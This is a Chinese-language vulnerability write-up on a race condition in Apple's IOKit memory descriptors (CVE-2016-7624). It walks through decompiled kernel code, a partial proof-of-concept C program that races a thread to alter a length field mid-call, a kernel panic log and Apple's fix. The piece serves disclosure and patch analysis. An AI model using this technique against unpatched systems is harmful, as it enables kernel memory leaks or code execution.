標籤:

Racing for everyone: descriptor describes TOCTOU,蘋果iOS/OSX內核中的新型漏洞

# Racing for everyone: descriptor describes TOCTOU,蘋果iOS/OSX內核中的新型漏洞

這篇文章是關於我們在蘋果內核IOKit驅動中找到的一類新攻擊面。之前寫了個IDA腳本做了個簡單掃描,發現了至少四個驅動都存在這類問題並報告給了蘋果,蘋果分配了3個CVE(CVE-2016-7620/4/5), 見 About the security content of macOS Sierra 10.12.2, Security Update 2016-003 El Capitan, and Security Update 2016-007 Yosemite。 後來我和蘋果的安全工程師聊天,他們告訴我他們根據這個pattern修復了十多個漏洞,包括iOS內核中多個可以利用的漏洞。

為了能更清楚地描述這類新漏洞,我們先來複習下IOKit的基礎知識。

## IOKit revisited

在用戶態, IOConnectCallMethod函數實現如下:

1709 kern_return_tn 1710 IOConnectCallMethod(n 1711 mach_port_t connection, // Inn 1712 uint32_t selector, // Inn 1713 const uint64_t *input, // Inn 1714 uint32_t inputCnt, // Inn 1715 const void *inputStruct, // Inn 1716 size_t inputStructCnt, // Inn 1717 uint64_t *output, // Outn 1718 uint32_t *outputCnt, // In/Outn 1719 void *outputStruct, // Outn 1720 size_t *outputStructCntP) // In/Outn 1721 {n //...n 1736 if (inputStructCnt <= sizeof(io_struct_inband_t)) {n 1737 inb_input = (void *) inputStruct;n 1738 inb_input_size = (mach_msg_type_number_t) inputStructCnt;n 1739 }n 1740 else {n 1741 ool_input = reinterpret_cast_mach_vm_address_t(inputStruct);n 1742 ool_input_size = inputStructCnt;n 1743 }n 1744 //...n 1770 else if (size <= sizeof(io_struct_inband_t)) {n 1771 inb_output = outputStruct;n 1772 inb_output_size = (mach_msg_type_number_t) size;n 1773 }n 1774 else {n 1775 ool_output = reinterpret_cast_mach_vm_address_t(outputStruct);n 1776 ool_output_size = (mach_vm_size_t) size;n 1777 }n 1778 }n 1779 n 1780 rtn = io_connect_method(connection, selector,n 1781 (uint64_t *) input, inputCnt,n 1782 inb_input, inb_input_size,n 1783 ool_input, ool_input_size,n 1784 inb_output, &inb_output_size,n 1785 output, outputCnt,n 1786 ool_output, &ool_output_size);n 1787 n //...n 1795 return rtn;n 1796 }n

如果輸入的inputstruct大於`sizeof(io_struct_inband_t)`, 那麼傳入的參數會被cast成`mach_vm_address_t`,在後面被特殊對待。

## 這裡能race不?不能?那裡呢?

對於每一個有好奇心的人,我們都要問,這些平常被漏洞研究者們熟視無睹的參數里有沒有那些能觸發條件競爭漏洞?歷史上人們通常都把注意力集中在一看名字就知道有可能有race condition漏洞的`IOConnectMapMemory`中,之前包括pangu和google-project-zero的ian beer都在這裡有過非常深入的研究,也導致這個人們所熟知的攻擊面漏洞已經非常少了。

那回過頭再來看這些IOKit的參數,這些被人們忽視的地方,究竟會不會有race呢? 我們還是需要深入了解下IOKit調用中參數是如何從用戶態傳遞到內核態的?

在MIG trap定義和對應生成的代碼中,不同的輸入類型會得到不同的對待處理。

601n 602routine io_connect_method(n 603 connection : io_connect_t;n 604 in selector : uint32_t;n 605n 606 in scalar_input : io_scalar_inband64_t;n 607 in inband_input : io_struct_inband_t;n 608 in ool_input : mach_vm_address_t;n 609 in ool_input_size : mach_vm_size_t;n 610n 611 out inband_output : io_struct_inband_t, CountInOut;n 612 out scalar_output : io_scalar_inband64_t, CountInOut;n 613 in ool_output : mach_vm_address_t;n 614 inout ool_output_size : mach_vm_size_tn 615 );n 616n ```n ```n /* Routine io_connect_method */n mig_external kern_return_t io_connect_methodn (n mach_port_t connection,n uint32_t selector,n io_scalar_inband64_t scalar_input,n mach_msg_type_number_t scalar_inputCnt,n io_struct_inband_t inband_input,n mach_msg_type_number_t inband_inputCnt,n mach_vm_address_t ool_input,n mach_vm_size_t ool_input_size,n io_struct_inband_t inband_output,n mach_msg_type_number_t *inband_outputCnt,n io_scalar_inband64_t scalar_output,n mach_msg_type_number_t *scalar_outputCnt,n mach_vm_address_t ool_output,n mach_vm_size_t *ool_output_sizen )n {n //...n (void)memcpy((char *) InP->scalar_input, (const char *) scalar_input, 8 * scalar_inputCnt);n //...n if (inband_inputCnt > 4096) {n { return MIG_ARRAY_TOO_LARGE; }n }n (void)memcpy((char *) InP->inband_input, (const char *) inband_input, inband_inputCnt);n //...n InP->ool_input = ool_input;n InP->ool_input_size = ool_input_size;n

這段代碼告訴我們,scala_input和大小小於4096的structinput是會被memcpy嵌入到傳遞入內核的machmsg中的,所以這裡面似乎沒有用戶態再操作的空間。

但是,如果struct_input的大小大於4096,那麼這裡就有特殊對待了。它會被保留為mach_vm_address且不會被更改。

我們再繼續追下去,看看這個mach_vm_address進入內核之後又會被如何處理

3701 kern_return_t is_io_connect_methodn 3702 (n 3703 io_connect_t connection,n 3704 uint32_t selector,n 3705 io_scalar_inband64_t scalar_input,n 3706 mach_msg_type_number_t scalar_inputCnt,n 3707 io_struct_inband_t inband_input,n 3708 mach_msg_type_number_t inband_inputCnt,n 3709 mach_vm_address_t ool_input,n 3710 mach_vm_size_t ool_input_size,n 3711 io_struct_inband_t inband_output,n 3712 mach_msg_type_number_t *inband_outputCnt,n 3713 io_scalar_inband64_t scalar_output,n 3714 mach_msg_type_number_t *scalar_outputCnt,n 3715 mach_vm_address_t ool_output,n 3716 mach_vm_size_t *ool_output_sizen 3717 )n 3718 {n 3719 CHECK( IOUserClient, connection, client );n 3720 n 3721 IOExternalMethodArguments args;n 3722 IOReturn ret;n 3723 IOMemoryDescriptor * inputMD = 0;n 3724 IOMemoryDescriptor * outputMD = 0;n 3725 n //...n 3736 args.scalarInput = scalar_input;n 3737 args.scalarInputCount = scalar_inputCnt;n 3738 args.structureInput = inband_input;n 3739 args.structureInputSize = inband_inputCnt;n 3740 n 3741 if (ool_input)n 3742 inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size,n 3743 kIODirectionOut, current_task());n 3744 n 3745 args.structureInputDescriptor = inputMD;n //...n 3753 if (ool_output && ool_output_size)n 3754 {n 3755 outputMD = IOMemoryDescriptor::withAddressRange(ool_output, *ool_output_size,n 3756 kIODirectionIn, current_task());n //...n 3774 return (ret);n 3775 }n

在這裡我們可以看出蘋果和Linux內核在處理輸入上的一些不同。在Linux內核中,用戶態輸入傾向於被copy_from_user到一個內核allocate的空間中。而蘋果內核對於大於4096的用戶輸入,則傾向於用一個IOMemoryDescriptor對其作一個映射,然後在內核態訪問。

既然有映射存在,那麼我們就要動歪腦筋了。我們能不能在IOKit調用進行的同時去在用戶態修改這個映射呢?之前並沒有人研究過這個問題,也沒有相關的漏洞公布,似乎大家都默認,在發起調用後,這是用戶態不可寫的。真的是這樣么?

令人吃驚的是,測試表明,這居然是可寫的!後來蘋果的工程師告訴我們,他們在看到我的漏洞報告的時候,才發現之前連他們都沒注意到這裡居然還是用戶態可寫的。

這就意味著,對於一個IOKit調用,如果內核處理輸入的IOService接受MemoryDescriptor的話(絕大多數都接受),那麼發起調用的用戶態進程可以在輸入被內核處理的時候去修改掉傳入的參數內容,沒有鎖,也沒有隻讀保護。由於連蘋果的工程師都沒有注意這個問題,這意味著他們在編寫內核驅動的時候基本沒有對這部分數據做保護處理,這不就是條件競爭漏洞的天堂么!

我迅速回憶了一下之前逆向過的幾個IOKit驅動,很快就有一個漏洞pattern出現。IOReportUserClient, IOCommandQueue, IOSurface在處理用戶態傳進來的inputStruct的時候,在裡面取出了一個長度作為後續邊界處理的條件,雖然開發者肯定都先校驗了這個長度,但由於這個racecondition的存在,那麼用戶態還是可以改掉這個長度繞過檢查,自然就觸發了越界。其他的pattern還有更多,就是發揮想像力的時候了。我們先來分析下IOCommandQueue這個典型例子,也就是CVE-2016-7624.

## IOCommandQueue內核服務中存在沙箱進程可以調用的越界讀寫漏洞

在IOCommandQueue::submit_command_buffer這個函數中,存在如上所述的條件競爭漏洞。這個函數接受structureInput或者structureInputDescriptor,其中在特定的offset存儲了一個長度,雖然長度在傳入的時候被校驗過, 但利用這個條件競爭,攻擊者依然可以控制長度,造成後續的越界讀寫。

### 漏洞分析

IOAccelCommandQueue::s_submit_command_buffers接受用戶輸入的IOExternalMethodArguments, 如果structureInputDescriptor存在,那麼descriptor會被用來映射為memorymap並翻譯為原始地址.

__int64 __fastcall IOAccelCommandQueue::s_submit_command_buffers(IOAccelCommandQueue *this, __int64 a2, IOExternalMethodArguments *a3)n {n IOExternalMethodArguments *v3; // r12@1n IOAccelCommandQueue *v4; // r15@1n unsigned __int64 inputdatalen; // rsi@1n unsigned int v6; // ebx@1n IOMemoryDescriptor *v7; // rdi@3n __int64 v8; // r14@3n __int64 inputdata; // rcx@5n v3 = a3;n v4 = this;n inputdatalen = (unsigned int)a3->structureInputSize;n v6 = -536870206;n if ( inputdatalen >= 8n && inputdatalen - 8 == 3n * (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL) )n {n v7 = (IOMemoryDescriptor *)a3->structureInputDescriptor;n v8 = 0LL;n if ( v7 )n {n v8 = (__int64)v7->vtbl->__ZN18IOMemoryDescriptor3mapEj(v7, 4096LL);n v6 = -536870200;n if ( !v8 )n return v6;n inputdata = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v8 + 280LL))(v8);n LODWORD(inputdatalen) = v3->structureInputSize;n }n

我們可以看到在offset+4, 一個DWORD被用來作為length和((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL)比較

隨後這個length在submit_command_buffer中再次被使用.

if ( *((_QWORD *)this + 160) )n {n v5 = (IOAccelShared2 *)*((_QWORD *)this + 165);n if ( v5 )n {n IOAccelShared2::processResourceDirtyCommands(v5);n IOAccelCommandQueue::updatePriority((IOAccelCommandQueue *)v2);n if ( *(_DWORD *)(input + 4) )n {n v6 = (unsigned __int64 *)(input + 24);n v7 = 0LL;n don {n IOAccelCommandQueue::submitCommandBuffer(n (IOAccelCommandQueue *)v2,n *((_DWORD *)v6 - 4),//v6 based on inputn *((_DWORD *)v6 - 3),//based on inputn *(v6 - 1),//based on inputn *v6);//based on inputn ++v7;n v6 += 3;n }n while ( v7 < *(unsigned int *)(input + 4) ); //NOTICE HEREn }n

注意在23行*(input+4)又被作為循環的邊界使用. 但就像前面說的一樣,如果用戶態傳進來一個descriptor, 他可以在這個時候在用戶態改變這個值,繞過`s_submit_command_buffers`的檢查,造成oob。

在`IOAccelCommandQueue::submitCommandBuffer`中:

IOGraphicsAccelerator2::sendBlockFenceNotification(n *((IOGraphicsAccelerator2 **)this + 166),n (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL),n data_from_input_add_24_minus_8,n 0LL,n v13);n result = IOGraphicsAccelerator2::sendBlockFenceNotification(n *((IOGraphicsAccelerator2 **)this + 166),n (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL),n data_from_input_add_24,n 0LL,n v13);n

我們可以看到內存內容以notification callback的返回給用戶態,那麼攻擊者通過前面控制長度並在越界的部分精心布置內存,那麼就可以造成這部分越界的內存被返回給用戶態,導致內核內存泄漏甚至代碼執行。

具體觸發步驟為

* 用戶態mmap內存, 通過IOKit調用的structureInputDescriptor傳遞進去

* 內核中s_submit_command_buffer函數在+4偏移校驗這個長度和傳入的內容長度是否匹配

* submit_command_buffer遍歷用戶態傳入的descriptor內存,以+4偏移的內容為長度邊界。讀出的內容在submitCommandBuffer中經過變換通過asyncNotificationPort返回給用戶態。

* 用戶態通過條件競爭更改map內存的長度,造成越界讀寫

### POC代碼

The POC代碼比較長,完整版見flankerhqd/descriptor-describes-toctou,這裡只貼部分關鍵代碼:

//...n char* dommap()n {n size_t i = ool_size;n void *rr_addr = mmap(0x80000000, size, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);n printf("mmap addr %pn", rr_addr);n memset(rr_addr, a, i);n return rr_addr;n }n volatile unsigned int secs = 10;n void modifystrcut()n {n //usleep(secs++);n *((unsigned int*)(input+4)) = 0x7fffffff;n //*((unsigned int*)(input+4)) = 0xffff;n printf("secs %xn", secs);n }n //...n int main(int argc, const char * argv[]) {n //...n input = dommap();n {n char* structinput = input;n *((unsigned int*)(structinput+4)) = 0xaa;//the size is then used in for loop, possible to change it in descriptor?n size_t outcnt = 0;n }n const size_t bufsize = 4088;n char buf[bufsize];n memset(buf, a, sizeof(buf)*bufsize);n size_t outcnt =0;n *((unsigned int*)(buf+4)) = 0xaa;n {n pthread_t t;n pthread_create(&t, NULL, modifystrcut, NULL);n io_connect_method(n conn,n 1,n NULL,//inputn 0,//inputCntn buf,//inb_inputn bufsize,//inb_input_sizen reinterpret_cast_mach_vm_address_t(input),//ool_inputn ool_size,//ool_input_sizen buf,//inb_outputn (mach_msg_type_number_t*)&outputcnt, //inb_output_size*n (uint64_t*)buf,//outputn &outputcnt, //outputCntn reinterpret_cast_mach_vm_address_t(buf), //ool_outputn (mach_msg_type_number_t*)&outputcnt64//ool_output_size*n );n }n return 0;n }n

兩個關鍵的參數是 are 4088 and 0xaa, 這兩個整數主要為了通過內核中

inputdatalen - 8 == 3

* (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL) )

if ( *(_DWORD *)(inputdata + 4) == (unsigned int)((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL

* (unsigned __int128)((unsigned __int64)(unsigned int)inputdatalen

- 8) >> 64) >> 4) )

的檢查。

在POC運行之後,內核相鄰內存的內容就會被leak回用戶態。如果邊界沒有映射內存的話,就會觸發一個內核panic。

### 樣例Panic Report

Sat Jun 11 21:49:00 2016n *** Panic Report ***n panic(cpu 0 caller 0xffffff801dfce5fa): Kernel trap at 0xffffff7fa039d2a4, type 14=page fault, registers:n CR0: 0x0000000080010033, CR2: 0xffffff812735f000, CR3: 0x000000000ce100ab, CR4: 0x00000000001627e0n RAX: 0x000000007fffffff, RBX: 0xffffff812735f008, RCX: 0x0000000000000000, RDX: 0x0000000000000000n RSP: 0xffffff81276d3b60, RBP: 0xffffff81276d3b80, RSI: 0x0000000000000000, RDI: 0xffffff802fcaef80n R8: 0x00000000ffffffff, R9: 0x0000000000000002, R10: 0x0000000000000007, R11: 0x0000000000007fffn R12: 0xffffff8031862800, R13: 0xaaaaaaaaaaaaaaab, R14: 0xffffff812735e000, R15: 0x00000000000000aan RFL: 0x0000000000010293, RIP: 0xffffff7fa039d2a4, CS: 0x0000000000000008, SS: 0x0000000000000010n Fault CR2: 0xffffff812735f000, Error code: 0x0000000000000000, Fault CPU: 0x0, PL: 0n Backtrace (CPU 0), Frame : Return Addressn 0xffffff81276d37f0 : 0xffffff801dedab12 mach_kernel : _panic + 0xe2n 0xffffff81276d3870 : 0xffffff801dfce5fa mach_kernel : _kernel_trap + 0x91an 0xffffff81276d3a50 : 0xffffff801dfec463 mach_kernel : _return_from_trap + 0xe3n 0xffffff81276d3a70 : 0xffffff7fa039d2a4 com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue22submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x8en 0xffffff81276d3b80 : 0xffffff7fa039c92c com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue24s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0xban 0xffffff81276d3bc0 : 0xffffff7fa03f6db5 com.apple.driver.AppleIntelHD5000Graphics : __ZN19IGAccelCommandQueue14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x19n 0xffffff81276d3be0 : 0xffffff801e4dfa07 mach_kernel : _is_io_connect_method + 0x1e7n 0xffffff81276d3d20 : 0xffffff801df97eb0 mach_kernel : _iokit_server + 0x5bd0n 0xffffff81276d3e30 : 0xffffff801dedf283 mach_kernel : _ipc_kobject_server + 0x103n 0xffffff81276d3e60 : 0xffffff801dec28b8 mach_kernel : _ipc_kmsg_send + 0xb8n 0xffffff81276d3ea0 : 0xffffff801ded2665 mach_kernel : _mach_msg_overwrite_trap + 0xc5n 0xffffff81276d3f10 : 0xffffff801dfb8dca mach_kernel : _mach_call_munger64 + 0x19an 0xffffff81276d3fb0 : 0xffffff801dfecc86 mach_kernel : _hndl_mach_scall64 + 0x16n Kernel Extensions in backtrace:n com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000->0xffffff7fa03dffffn dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000n dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000n com.apple.driver.AppleIntelHD5000Graphics(10.1.4)[E5BC31AC-4714-3A57-9CDC-3FF346D811C5]@0xffffff7fa03ee000->0xffffff7fa047afffn dependency: com.apple.iokit.IOSurface(108.2.1)[B5ADE17A-36A5-3231-B066-7242441F7638]@0xffffff7f9f0fb000n dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000n dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000n dependency: com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000n BSD process name corresponding to current thread: cmdqueue1n Boot args: keepsyms=1 -vn Mac OS version:n 15F34n Kernel version:n Darwin Kernel Version 15.5.0: Tue Apr 19 18:36:36 PDT 2016; root:xnu-3248.50.21~8/RELEASE_X86_64n Kernel UUID: 7E7B0822-D2DE-3B39-A7A5-77B40A668BC6n Kernel slide: 0x000000001dc00000n Kernel text base: 0xffffff801de00000n __HIB text base: 0xffffff801dd00000n System model name: MacBookAir6,2 (Mac-7DF21CB3ED6977E5)n

查看崩潰RIP寄存器附近的彙編代碼

__text:000000000002929E mov esi, [rbx-10h] ; unsigned int

__text:00000000000292A1 mov edx, [rbx-0Ch] ; unsigned int

__text:00000000000292A4 mov rcx, [rbx-8] ; unsigned __int64

__text:00000000000292A8 mov r8, [rbx] ; unsigned __int64

在這個崩潰中,rbx寄存器已經出現了越界,意味了內核在讀取一個沒有映射的內存內容,觸發越界。

在 10.11.5 Macbook Airs, Macbook Pros 中測試復現:

while true; do ./cmdqueue1 ; done

# 蘋果的修復

蘋果還沒有公開XNU 10.11.2的源代碼,但讓我們先來逆向下binary kernel,並在Diaphora的幫助下定位修補的部分

在未修補的版本,我們可以看到有如下的關鍵代碼

3741 if (ool_input)n 3742 inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size,n 3743 kIODirectionOut, current_task());n

i.e.

mov rax, gs:8n mov rcx, [rax+308h] ; unsigned intn mov edx, 2 ; unsigned __int64n mov rsi, [rbp+arg_8] ; unsigned __int64n call __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *)n mov r15, raxn

但是在10.11.2上,這部分在_is_io_connect_method代碼變成了下面的樣子

mov rax, gs:8n mov rcx, [rax+318h] ; unsigned intn mov edx, 20002h ; unsigned __int64n mov rsi, [rbp+arg_8] ; unsigned __int64n call __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *)n mov r15, raxn

一個新的flag (0x20000) 被引入到了IOMemoryDescriptor::withAddressRange。在調用棧接下來的IOGeneralMemoryDescriptor::memoryReferenceCreate函數中被檢查

if ( this->_task && !err && this->baseclass_0._flags & 0x20000 && !(optionsa & 4) ) //newly added sourcen err = IOGeneralMemoryDescriptor::memoryReferenceCreate(this, optionsa | 4, &ref->mapRef);n

隨後在該函數的開頭再次對應到映射的屬性參數prot

prot = 1;n cacheMode = (this->baseclass_0._flags & 0x70000000) >> 28;n v4 = vmProtForCacheMode(cacheMode);n prot |= v4;n if ( cacheMode )n prot |= 2u;n if ( 2 != (this->baseclass_0._flags & 3) )n prot |= 2u;n if ( optionsa & 2 )n prot |= 2u;n if ( optionsa & 4 )n prot |= 0x200000u;n

`prot`最終被用於`mach_make_memory_entry_64`, 描述這個mapping的permission. 0x200000其實就是MAP_MEM_VM_COPY

382 /* leave room for vm_prot bits */n 383 #define MAP_MEM_ONLY 0x010000 /* change processor caching */n 384 #define MAP_MEM_NAMED_CREATE 0x020000 /* create extant object */n 385 #define MAP_MEM_PURGABLE 0x040000 /* create a purgable VM object */n 386 #define MAP_MEM_NAMED_REUSE 0x080000 /* reuse provided entry if identical */n 387 #define MAP_MEM_USE_DATA_ADDR 0x100000 /* preserve address of data, rather than base of page */n 388 #define MAP_MEM_VM_COPY 0x200000 /* make a copy of a VM range */n 389 #define MAP_MEM_VM_SHARE 0x400000 /* extract a VM range for remap */n 390 #define MAP_MEM_4K_DATA_ADDR 0x800000 /* preserve 4K aligned address of data */n 391 n

這樣就意味著在這個補丁之後,IOKit調用中傳入的descriptors已經不再和用戶態共享一個映射,免除了被用戶態修改的煩惱。蘋果選擇了一個相對優雅的方案從根源上解決了問題,而不是一個一個地去修補對應的驅動代碼。

# 致謝

科恩實驗室的陳良對本研究亦有貢獻。也感謝蘋果安全團隊的積極響應和修復。

推薦閱讀:

文件解析漏洞匯總

TAG:漏洞 | iOS | macOS |